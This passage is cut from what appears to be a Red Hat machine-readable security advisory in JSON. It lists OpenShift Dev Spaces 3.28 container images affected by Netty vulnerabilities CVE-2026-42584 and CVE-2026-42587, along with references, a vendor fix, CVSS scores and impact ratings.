"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42584"
},
{
"category": "external",
"summary": "RHBZ#2477224",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477224"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42584",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42584"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
}
],
"release_date": "2026-05-13T18:10:48.437000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T19:42:14+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-05-13T19:01:35.415881+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
